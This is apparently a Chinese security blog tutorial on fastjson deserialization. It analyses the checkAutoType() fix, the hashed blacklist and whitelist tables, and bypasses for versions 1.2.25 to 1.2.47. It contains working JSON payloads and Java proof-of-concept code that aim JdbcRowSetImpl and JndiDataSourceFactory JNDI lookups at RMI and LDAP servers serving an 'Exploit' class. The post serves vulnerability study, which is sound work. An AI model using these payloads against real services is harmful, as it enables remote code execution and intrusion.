fastjson 反序列化基础二(1.2.25-1.2.61)

1. 分析fastjson1.2.25的修复:

checkAutoType()函数:

首先看fastjson1.2.25如何修复1.2.24版本的漏洞的:

1.2.24版本的DefaultJSONParser#parseObject

image-20240410170431936

直接调用TypeUtils#loadClass直接加载类。

而再看1.2.25版本的DefaultJSONParser#parseObject

image-20240410170325416

如果当前key是@type就会调用config#checkAutoType

checkAutoType的逻辑是判断autoTypeSupport是否开启并且检擦白名单:

image-20240410170805351

autoTypeSupport是默认不开启的,即先进行黑名单过滤,然后遍历denyList,然后在进行白名单过滤,若白名单匹配上则直接加载该类,否则报错。

当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。

看大佬的注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

// autoTypeSupport默认为False
// 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 从Map缓存中获取类,注意这是后面版本的漏洞点
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
// 从denyList中获取元素后 匹配头部
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

denyList黑名单列表如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

以这些开头的类,大部分的利用链都不能使用了。

autoTypeSupport参数:

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。简单来说是就是启动autotype,这样就可以进行白名单校验,然后尝试bypass了。

默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true

  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法:

  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");

image-20240414104704129

  1. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

小结:

在1.2.24版本后,使用checkAutoType函数,通过白名单以及黑名单过滤的方式去防御fastjson反序列化,因此我们可以尝试对白名单和黑名单进行bypass,而网上一些文章讲的都是针对1.2.41、1.2.42、1.2.43、1.2.45这些特定版本的补丁绕过,其实实际上并不只是针对该特定版本,而是针对从1.2.25开始的一系列版本,自己试下就知道PoC可以打哪些范围了。(师傅原话)

2. 寻找利用链:

fastjson黑白名单:

我们可以从修复的角度来看,对于存在的黑名单,我们就不能利用了,我们可以寻找还没有被黑名单过滤的利用链。

从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist

目前已知的黑名单列表如下:

version hash hex-hash name
1.2.42 -8720046426850100497 0x86fc2bf9beaf7aefL org.apache.commons.collections4.comparators
1.2.42 -8109300701639721088 0x8f75f9fa0df03f80L org.python.core
1.2.42 -7966123100503199569 0x9172a53f157930afL org.apache.tomcat
1.2.42 -7766605818834748097 0x9437792831df7d3fL org.apache.xalan
1.2.42 -6835437086156813536 0xa123a62f93178b20L javax.xml
1.2.42 -4837536971810737970 0xbcdd9dc12766f0ceL org.springframework.
1.2.42 -4082057040235125754 0xc7599ebfe3e72406L org.apache.commons.beanutils
1.2.42 -2364987994247679115 0xdf2ddff310cdb375L org.apache.commons.collections.Transformer
1.2.42 -1872417015366588117 0xe603d6a51fad692bL org.codehaus.groovy.runtime
1.2.42 -254670111376247151 0xfc773ae20c827691L java.lang.Thread
1.2.42 -190281065685395680 0xfd5bfc610056d720L javax.net.
1.2.42 313864100207897507 0x45b11bc78a3aba3L com.mchange
1.2.42 1203232727967308606 0x10b2bdca849d9b3eL org.apache.wicket.util
1.2.42 1502845958873959152 0x14db2e6fead04af0L java.util.jar.
1.2.42 3547627781654598988 0x313bb4abd8d4554cL org.mozilla.javascript
1.2.42 3730752432285826863 0x33c64b921f523f2fL java.rmi
1.2.42 3794316665763266033 0x34a81ee78429fdf1L java.util.prefs.
1.2.42 4147696707147271408 0x398f942e01920cf0L com.sun.
1.2.42 5347909877633654828 0x4a3797b30328202cL java.util.logging.
1.2.42 5450448828334921485 0x4ba3e254e758d70dL org.apache.bcel
1.2.42 5751393439502795295 0x4fd10ddc6d13821fL java.net.Socket
1.2.42 5944107969236155580 0x527db6b46ce3bcbcL org.apache.commons.fileupload
1.2.42 6742705432718011780 0x5d92e6ddde40ed84L org.jboss
1.2.42 7179336928365889465 0x63a220e60a17c7b9L org.hibernate
1.2.42 7442624256860549330 0x6749835432e0f0d2L org.apache.commons.collections.functors
1.2.42 8838294710098435315 0x7aa7ee3627a19cf3L org.apache.myfaces.context.servlet
1.2.43 -2262244760619952081 0xe09ae4604842582fL java.net.URL
1.2.46 -8165637398350707645 0x8eadd40cb2a94443L junit.
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource
1.2.46 -7921218830998286408 0x92122d710e364fb8L org.osjava.sj.
1.2.46 -7768608037458185275 0x94305c26580f73c5L org.apache.log4j.
1.2.46 -6179589609550493385 0xaa3daffdb10c4937L org.logicalcobwebs.
1.2.46 -5194641081268104286 0xb7e8ed757f5d13a2L org.apache.logging.
1.2.46 -3935185854875733362 0xc963695082fd728eL org.apache.commons.dbcp
1.2.46 -2753427844400776271 0xd9c9dbf6bbd27bb1L com.ibatis.sqlmap.engine.datasource
1.2.46 -1589194880214235129 0xe9f20bad25f60807L org.jdom.
1.2.46 1073634739308289776 0xee6511b66fd5ef0L org.slf4j.
1.2.46 5688200883751798389 0x4ef08c90ff16c675L javassist.
1.2.46 7017492163108594270 0x616323f12c2ce25eL oracle.net
1.2.46 8389032537095247355 0x746bd4a53ec195fbL org.jaxen.
1.2.48 1459860845934817624 0x144277b467723158L java.net.InetAddress
1.2.48 8409640769019589119 0x74b50bb9260e31ffL java.lang.Class
1.2.49 4904007817188630457 0x440e89208f445fb9L com.alibaba.fastjson.annotation
1.2.59 5100336081510080343 0x46c808a4b5841f57L org.apache.cxf.jaxrs.provider.
1.2.59 6456855723474196908 0x599b5c1213a099acL ch.qos.logback.
1.2.59 8537233257283452655 0x767a586a5107feefL net.sf.ehcache.transaction.manager.
1.2.60 3688179072722109200 0x332f0b5369a18310L com.zaxxer.hikari.
1.2.61 -4401390804044377335 0xc2eb1e621f439309L flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61 -1650485814983027158 0xe9184be55b1d962aL org.apache.openjpa.ee.
1.2.61 -1251419154176620831 0xeea210e8da2ec6e1L oracle.jdbc.rowset.OracleJDBCRowSet
1.2.61 -9822483067882491 0xffdd1a80f1ed3405L com.mysql.cj.jdbc.admin.
1.2.61 99147092142056280 0x1603dc147a3e358L oracle.jdbc.connector.OracleManagedConnectionFactory
1.2.61 3114862868117605599 0x2b3a37467a344cdfL org.apache.ibatis.parsing.
1.2.61 4814658433570175913 0x42d11a560fc9fba9L org.apache.axis2.jaxws.spi.handler.
1.2.61 6511035576063254270 0x5a5bd85c072e5efeL jodd.db.connection.
1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration
1.2.62 -9164606388214699518 0x80d0c70bcc2fea02L org.apache.ibatis.executor.
1.2.62 -8649961213709896794 0x87f52a1b07ea33a6L net.sf.cglib.
1.2.62 -6316154655839304624 0xa85882ce1044c450L oracle.net.
1.2.62 -5764804792063216819 0xafff4c95b99a334dL com.mysql.cj.jdbc.MysqlDataSource
1.2.62 -4608341446948126581 0xc00be1debaf2808bL jdk.internal.
1.2.62 -4438775680185074100 0xc2664d0958ecfe4cL aj.org.objectweb.asm.
1.2.62 -3319207949486691020 0xd1efcdf4b3316d34L oracle.jdbc.
1.2.62 -2192804397019347313 0xe1919804d5bf468fL org.apache.commons.collections.comparators.
1.2.62 -2095516571388852610 0xe2eb3ac7e56c467eL net.sf.ehcache.hibernate.
1.2.62 4750336058574309 0x10e067cd55c5e5L com.mysql.cj.log.
1.2.62 218512992947536312 0x3085068cb7201b8L org.h2.jdbcx.
1.2.62 823641066473609950 0xb6e292fa5955adeL org.apache.commons.logging.
1.2.62 1534439610567445754 0x154b6cb22d294cfaL org.apache.ibatis.reflection.
1.2.62 1818089308493370394 0x193b2697eaaed41aL org.h2.server.
1.2.62 2164696723069287854 0x1e0a8c3358ff3daeL org.apache.ibatis.datasource.
1.2.62 2653453629929770569 0x24d2f6048fef4e49L org.objectweb.asm.
1.2.62 2836431254737891113 0x275d0732b877af29L flex.messaging.util.concurrent.
1.2.62 3089451460101527857 0x2adfefbbfe29d931L org.apache.ibatis.javassist.
1.2.62 3256258368248066264 0x2d308dbbc851b0d8L java.lang.UNIXProcess
1.2.62 3718352661124136681 0x339a3e0b6beebee9L org.apache.ibatis.ognl.
1.2.62 4046190361520671643 0x3826f4b2380c8b9bL com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.62 4841947709850912914 0x43320dc9d2ae0892L org.codehaus.jackson.
1.2.62 6280357960959217660 0x5728504a6d454ffcL org.apache.ibatis.scripting.
1.2.62 6534946468240507089 0x5ab0cb3071ab40d1L org.apache.commons.proxy.
1.2.62 6734240326434096246 0x5d74d3e5b9370476L com.mysql.cj.jdbc.MysqlXADataSource
1.2.62 7123326897294507060 0x62db241274397c34L org.apache.commons.collections.functors.
1.2.62 8488266005336625107 0x75cc60f5871d0fd3L org.apache.commons.configuration
1.2.66 -2439930098895578154 0xde23a0809a8b9bd6L javax.script.
1.2.66 -582813228520337988 0xf7e96e74dfa58dbcL javax.sound.
1.2.66 -26639035867733124 0xffa15bf021f1e37cL javax.print.
1.2.66 386461436234701831 0x55cfca0f2281c07L javax.activation.
1.2.66 1153291637701043748 0x100150a253996624L javax.tools.
1.2.66 1698504441317515818L 0x17924cca5227622aL javax.management.
1.2.66 7375862386996623731L 0x665c53c311193973L org.apache.xbean.
1.2.66 7658177784286215602L 0x6a47501ebb2afdb2L org.eclipse.jetty.
1.2.66 8055461369741094911L 0x6fcabf6fa54cafffL javax.naming.
1.2.67 -7775351613326101303L 0x941866e73beff4c9L org.apache.shiro.realm.
1.2.67 -6025144546313590215L 0xac6262f52c98aa39L org.apache.http.conn.
1.2.67 -5939269048541779808L 0xad937a449831e8a0L org.quartz.
1.2.67 -5885964883385605994L 0xae50da1fad60a096L com.taobao.eagleeye.wrapper
1.2.67 -3975378478825053783L 0xc8d49e5601e661a9L org.apache.http.impl.
1.2.67 -2378990704010641148L 0xdefc208f237d4104L com.ibatis.
1.2.67 -905177026366752536L 0xf3702a4a5490b8e8L org.apache.catalina.
1.2.67 2660670623866180977L 0x24ec99d5e7dc5571L org.apache.http.auth.
1.2.67 2731823439467737506L 0x25e962f1c28f71a2L br.com.anteros.
1.2.67 3637939656440441093L 0x327c8ed7c8706905L com.caucho.
1.2.67 4254584350247334433L 0x3b0b51ecbf6db221L org.apache.http.cookie.
1.2.67 5274044858141538265L 0x49312bdafb0077d9L org.javasimon.
1.2.67 5474268165959054640L 0x4bf881e49d37f530L org.apache.cocoon.
1.2.67 5596129856135573697L 0x4da972745feb30c1L org.apache.activemq.jms.pool.
1.2.67 6854854816081053523L 0x5f215622fb630753L org.mortbay.jetty.
1.2.68 -3077205613010077203L 0xd54b91cc77b239edL org.apache.shiro.jndi.
1.2.68 -2825378362173150292L 0xd8ca3d595e982bacL org.apache.ignite.cache.jta.
1.2.68 2078113382421334967L 0x1cd6f11c6a358bb7L javax.swing.J
1.2.68 6007332606592876737L 0x535e552d6f9700c1L org.aoju.bus.proxy.provider.
1.2.68 9140390920032557669L 0x7ed9311d28bf1a65L java.awt.p
1.2.68 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
1.2.69 -8024746738719829346L 0x90a25f5baa21529eL java.io.Serializable
1.2.69 -5811778396720452501L 0xaf586a571e302c6bL java.io.Closeable
1.2.69 -3053747177772160511L 0xd59ee91f0b09ea01L oracle.jms.AQ
1.2.69 -2114196234051346931L 0xe2a8ddba03e69e0dL java.util.Collection
1.2.69 -2027296626235911549L 0xe3dd9875a2dc5283L java.lang.Iterable
1.2.69 -2939497380989775398L 0xd734ceb4c3e9d1daL java.lang.Object
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 3247277300971823414L 0x2d10a5801b9d6136L java.lang.Cloneable
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
1.2.69 7222019943667248779L 0x6439c4dff712ae8bL java.util.EventListener
1.2.70 -5076846148177416215L 0xb98b6b5396932fe9L org.apache.commons.collections4.Transformer
1.2.70 -4703320437989596122L 0xbeba72fb1ccba426L org.apache.commons.collections4.functors
1.2.70 -4314457471973557243L 0xc41ff7c9c87c7c05L org.jdom2.transform.
1.2.70 -2533039401923731906L 0xdcd8d615a6449e3eL org.apache.hadoop.shaded.com.zaxxer.hikari.
1.2.70 156405680656087946L 0x22baa234c5bfb8aL com.p6spy.engine.
1.2.70 1214780596910349029L 0x10dbc48446e0dae5L org.apache.activemq.pool.
1.2.70 3085473968517218653L 0x2ad1ce3a112f015dL org.apache.aries.transaction.
1.2.70 3129395579983849527L 0x2b6dd8b3229d6837L org.apache.activemq.ActiveMQConnectionFactory
1.2.70 4241163808635564644L 0x3adba40367f73264L org.apache.activemq.spring.
1.2.70 7240293012336844478L 0x647ab0224e149ebeL org.apache.activemq.ActiveMQXAConnectionFactory
1.2.70 7347653049056829645L 0x65f81b84c1d920cdL org.apache.commons.jelly.
1.2.70 7617522210483516279L 0x69b6e0175084b377L org.apache.axis2.transport.jms.
1.2.71 -4537258998789938600L 0xc1086afae32e6258L java.io.FileReader
1.2.71 -4150995715611818742L 0xc664b363baca050aL java.io.ObjectInputStream
1.2.71 -2995060141064716555L 0xd66f68ab92e7fef5L java.io.FileInputStream
1.2.71 -965955008570215305L 0xf2983d099d29b477L java.io.ObjectOutputStream
1.2.71 -219577392946377768L 0xfcf3e78644b98bd8L java.io.DataOutputStream
1.2.71 2622551729063269307L x24652ce717e713bbL java.io.PrintWriter
1.2.71 2930861374593775110L 0x28ac82e44e933606L java.io.Buffered
1.2.71 4000049462512838776L 0x378307cb0111e878L java.io.InputStreamReader
1.2.71 4193204392725694463L 0x3a31412dbb05c7ffL java.io.OutputStreamWriter
1.2.71 5545425291794704408L 0x4cf54eec05e3e818L java.io.FileWriter
1.2.71 6584624952928234050L 0x5b6149820275ea42L java.io.FileOutputStream
1.2.71 7045245923763966215L 0x61c5bdd721385107L java.io.DataInputStream
1.2.83 -8754006975464705441L 0x868385095a22725fL org.apache.commons.io.
1.2.83 -8382625455832334425L 0x8baaee8f9bf77fa7L org.mvel2.
1.2.83 -6088208984980396913L 0xab82562f53e6e48fL kotlin.reflect.
1.2.83 -4733542790109620528L 0xbe4f13e96a6796d0L com.googlecode.aviator.
1.2.83 -1363634950764737555L 0xed13653cb45c4bedL org.aspectj.
1.2.83 -803541446955902575L 0xf4d93f4fb3e3d991L org.dom4j.
1.2.83 860052378298585747L 0xbef8514d0b79293L org.apache.commons.cli.
1.2.83 1268707909007641340L 0x119b5b1f10210afcL com.google.common.eventbus.
1.2.83 3058452313624178956L 0x2a71ce2cc40a710cL org.thymeleaf.
1.2.83 3740226159580918099L 0x33e7f3e02571b153L org.junit.
1.2.83 3977090344859527316L 0x37317698dcfce894L org.mockito.asm.
1.2.83 4319304524795015394L 0x3bf14094a524f0e2L com.google.common.io.
1.2.83 5120543992130540564L 0x470fd3a18bb39414L org.mockito.runners.
1.2.83 5916409771425455946L 0x521b4f573376df4aL org.mockito.cglib.
1.2.83 6090377589998869205L 0x54855e265fe1dad5L com.google.common.reflect.
1.2.83 7164889056054194741L 0x636ecca2a131b235L org.mockito.stubbing.
1.2.83 8711531061028787095L 0x78e5935826671397L org.apache.commons.codec.
1.2.83 8735538376409180149L 0x793addded7a967f5L ognl.
1.2.83 8861402923078831179L 0x7afa070241b8cc4bL com.google.common.util.concurrent.
1.2.83 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
1.2.83 9144212112462101475L 0x7ee6c477da20bbe3L com.google.common.net.

fastjson在1.2.67开始,将内置白名单也使用哈希的方式存放。

白名单有这些:

hash name
0xD4788669A13AE74L java.awt.Rectangle
0xE08EE874A26F5EAFL java.awt.Point
0xDDAAA11FECA77B5EL java.awt.Font
0xB81BA299273D4E6L java.awt.Color
0xA8AAA929446FFCE4L com.alibaba.fastjson.util.AntiCollisionHashMap
0xD0E71A6E155603C1L com.alipay.sofa.rpc.core.exception.SofaTimeOutException
0x9F2E20FB6049A371L java.util.Collections.UnmodifiableMap
0xD45D6F8C9017FAL java.util.concurrent.ConcurrentSkipListMap
0x64DC636F343516DCL java.util.concurrent.ConcurrentSkipListSet
0x7FE2B8E675DA0CEFL org.springframework.dao.CannotAcquireLockException
0xF8C7EF9B13231FB6L org.springframework.dao.CannotSerializeTransactionException
0x42646E60EC7E5189L org.springframework.dao.CleanupFailureDataAccessException
0xCC720543DC5E7090L org.springframework.dao.ConcurrencyFailureException
0xC0FE32B8DC897DE9L org.springframework.dao.DataAccessResourceFailureException
0xDC9583F0087CC2C7L org.springframework.dao.DataIntegrityViolationException
0x5449EC9B0280B9EFL org.springframework.dao.DataRetrievalFailureException
0xEB7D4786C473368DL org.springframework.dao.DeadlockLoserDataAccessException
0x44D57A1B1EF53451L org.springframework.dao.DuplicateKeyException
0xC92D8F9129AF339BL org.springframework.dao.EmptyResultDataAccessException
0x9DF9341F0C76702L org.springframework.dao.IncorrectResultSizeDataAccessException
0xDB7BFFC197369352L org.springframework.dao.IncorrectUpdateSemanticsDataAccessException
0x73FBA1E41C4C3553L org.springframework.dao.InvalidDataAccessApiUsageException
0x76566C052E83815L org.springframework.dao.InvalidDataAccessResourceUsageException
0x61D10AF54471E5DEL org.springframework.dao.NonTransientDataAccessException
0x82E8E13016B73F9EL org.springframework.dao.NonTransientDataAccessResourceException
0xE794F5F7DCD3AC85L org.springframework.dao.OptimisticLockingFailureException
0x3F64BC3933A6A2DFL org.springframework.dao.PermissionDeniedDataAccessException
0x863D2DD1E82B9ED9L org.springframework.dao.PessimisticLockingFailureException
0x4BB3C59964A2FC50L org.springframework.dao.QueryTimeoutException
0x552D9FB02FFC9DEFL org.springframework.dao.RecoverableDataAccessException
0x21082DFBF63FBCC1L org.springframework.dao.TransientDataAccessException
0x178B0E2DC3AE9FE5L org.springframework.dao.TransientDataAccessResourceException
0x24AE2D07FB5D7497L org.springframework.dao.TypeMismatchDataAccessException
0x90003416F28ACD89L org.springframework.dao.UncategorizedDataAccessException
0x73A0BE903F2BCBF4L org.springframework.jdbc.BadSqlGrammarException
0x7B606F16A261E1E6L org.springframework.jdbc.CannotGetJdbcConnectionException
0xAFCB539973CEA3F7L org.springframework.jdbc.IncorrectResultSetColumnCountException
0x4A39C6C7ACB6AA18L org.springframework.jdbc.InvalidResultSetAccessException
0x9E404E583F254FD4L org.springframework.jdbc.JdbcUpdateAffectedIncorrectNumberOfRowsException
0x34CC8E52316FA0CBL org.springframework.jdbc.LobRetrievalFailureException
0xB5114C70135C4538L org.springframework.jdbc.SQLWarningException
0x7F36112F218143B6L org.springframework.jdbc.UncategorizedSQLException
0x26C5D923AF21E2E1L org.springframework.cache.support.NullValue
0xD11D2A941337A7BCL org.springframework.security.oauth2.common.DefaultExpiringOAuth2RefreshToken
0x4F0C3688E8A18F9FL org.springframework.security.oauth2.common.DefaultOAuth2AccessToken
0xC59AA84D9A94C640L org.springframework.security.oauth2.common.DefaultOAuth2RefreshToken
0x1F10A70EE4065963L org.springframework.util.LinkedMultiValueMap
0x557F642131553498L org.springframework.util.LinkedCaseInsensitiveMap
0x8B2081CB3A50BD44L org.springframework.remoting.support.RemoteInvocation
0x8B2081CB3A50BD44L org.springframework.remoting.support.RemoteInvocation
0x54DC66A59269BAE1L org.springframework.security.web.savedrequest.SavedCookie
0x111D12921C5466DAL org.springframework.security.web.csrf.DefaultCsrfToken
0x19DCAF4ADC37D6D4L org.springframework.security.web.authentication.WebAuthenticationDetails
0x604D6657082C1EE9L org.springframework.security.core.context.SecurityContextImpl
0xF4AA683928027CDAL org.springframework.security.authentication.UsernamePasswordAuthenticationToken
0x92F252C398C02946L org.springframework.security.core.authority.SimpleGrantedAuthority
0x6B949CE6C2FE009L org.springframework.security.core.userdetails.User

3. 1.2.25-1.2.41 补丁绕过:

当开启了autoTypeSupport,则会进行白名单,如果存在该类则直接加载,否则进行黑名单。

那么可以在类名前面加L,末尾加;

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://127.0.0.1:8085/bIZKZrFl","autoCommit":"true"}

payload如下:

1
2
3
4
5
public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:8085/bIZKZrFl\",\"autoCommit\":\"true\" }";
Object parse = JSON.parse(payload);
}

为什么这样就bypass了?看调试:

开了autoTypeSupport之后白名单就为空。

image-20240414111634704

然后进行黑名单过滤,这里没有该类那么肯定绕过了黑名单。

image-20240414111930869

然后他是怎么加载该类的?调试到:TypeUtils.loadClass方法

image-20240414112306195

从mapping哈希表中查询是否有该类,结果是没有的,然后走下一步,获取该类是否是L,并且该类的末尾是;

image-20240414112511025

最终使用截取,成功获取到该类:

image-20240414112626851

4. 1.2.25-1.2.42 补丁绕过:

我们知道这里调用了递归,去解析这个className,那么我们可以添加多对[;进行绕过。

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}

5. 1.2.25-1.2.43 补丁绕过:

payload:

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}

如果开始是这样子写是错的!

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}

报错:

image-20240414113744202

表示的是期待需要一个[,而后面又是跟上{

这样子写的话后面跟上[{,就不会被解析:

image-20240414114748746

然后在TypeUtils.loadClass()函数中,除了前面看到的判断是否以”L”开头、以”;”结尾的if判断语句外,在其前面还有一个判断是否以”[“开头的if判断语句,是的话就提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类,解析结果就是com.sum.rowset.JdbcRowSetImpl

image-20240414114333371

6. 1.2.25-1.2.45 补丁绕过:

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

payload:

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://127.0.0.1:8085/bIZKZrFl"}}

关键PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

低版本不存在该黑名单,但是高版本这个类我们在哈希黑名单中1.2.46的版本中可以看到:

version hash hex-hash name
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource

导入坐标:

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.6</version>
</dependency>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>

在版本1.2.42中可以绕过:

1
2
3
4
5
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://127.0.0.1:8085/bIZKZrFl\"}}";
Object parse = JSON.parse(payload);
}

这里对其进行了修复,如果类名前是[就直接抛出异常:

image-20240414125738167

后面由于org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名单中,因此能成功绕过checkAutoType()函数的检测。

设置了properties字段,因此会调用其setter方法,在org.apache.ibatis.datasource.jndi.JndiDataSourceFactory.javasetProperties方法。

很经典的jndi注入:

image-20240414130125103

image-20240414130204347

7. 1.2.25-1.2.47 补丁绕过(重点):

Exp编写:

本次Fastjson反序列化漏洞也是基于checkAutoType()函数绕过的,并且无需开启AutoTypeSupport,大大提高了成功利用的概率。

一般的开发,都不配置fastjson的,即一般autoTypeSupport默认为关闭==》黑名单过滤再白名单过滤。

先看exp:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}
1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
}

这里使用的是1.2.42,效果如下:

image-20240414131501913

原理:

绕过的大体思路是通过 java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

调试分析:

实际上还是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来攻击利用的,因此除了JDK版本外几乎没有限制。

但是如果目标服务端开启了AutoTypeSupport呢?经测试发现:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

在调用DefaultJSONParser.parserObject()函数时,其会对JSON数据进行循环遍历扫描解析。

第一次解析java.lang.Class这个类:

由于autoTypeSupport为false,因此这个if(autoTypeSupport || expectClass != null)条件跳过。

由于前面没有加载到这个Class,就会调用TypeUtils#getClassFromMapping,尝试冲map中获取该类。

查询为null,就会继续走下一步,尝试使用deserializers这个map去加载这个class,这个map的vaule是ObjectDeserializer,最终返回这个class。

image-20240414132908235

然后调用了MiscCodec#deserialze这个方法,判断是否存在当前的vaulue是否存在val,如果存在则解析并且赋值给objVal

image-20240414133434822

接着判断clazz是否为Class类,是的话调用TypeUtils.loadClass()加载strVal变量值指向的类:

image-20240414134151168

TypeUtils#loadClass 静态方法先从map中尝试获取该类:

image-20240414134257756

然后调用当前线程的加载器去加载该类:

image-20240414134345989

并且把这个类添加到mappings中,即缓存起来。

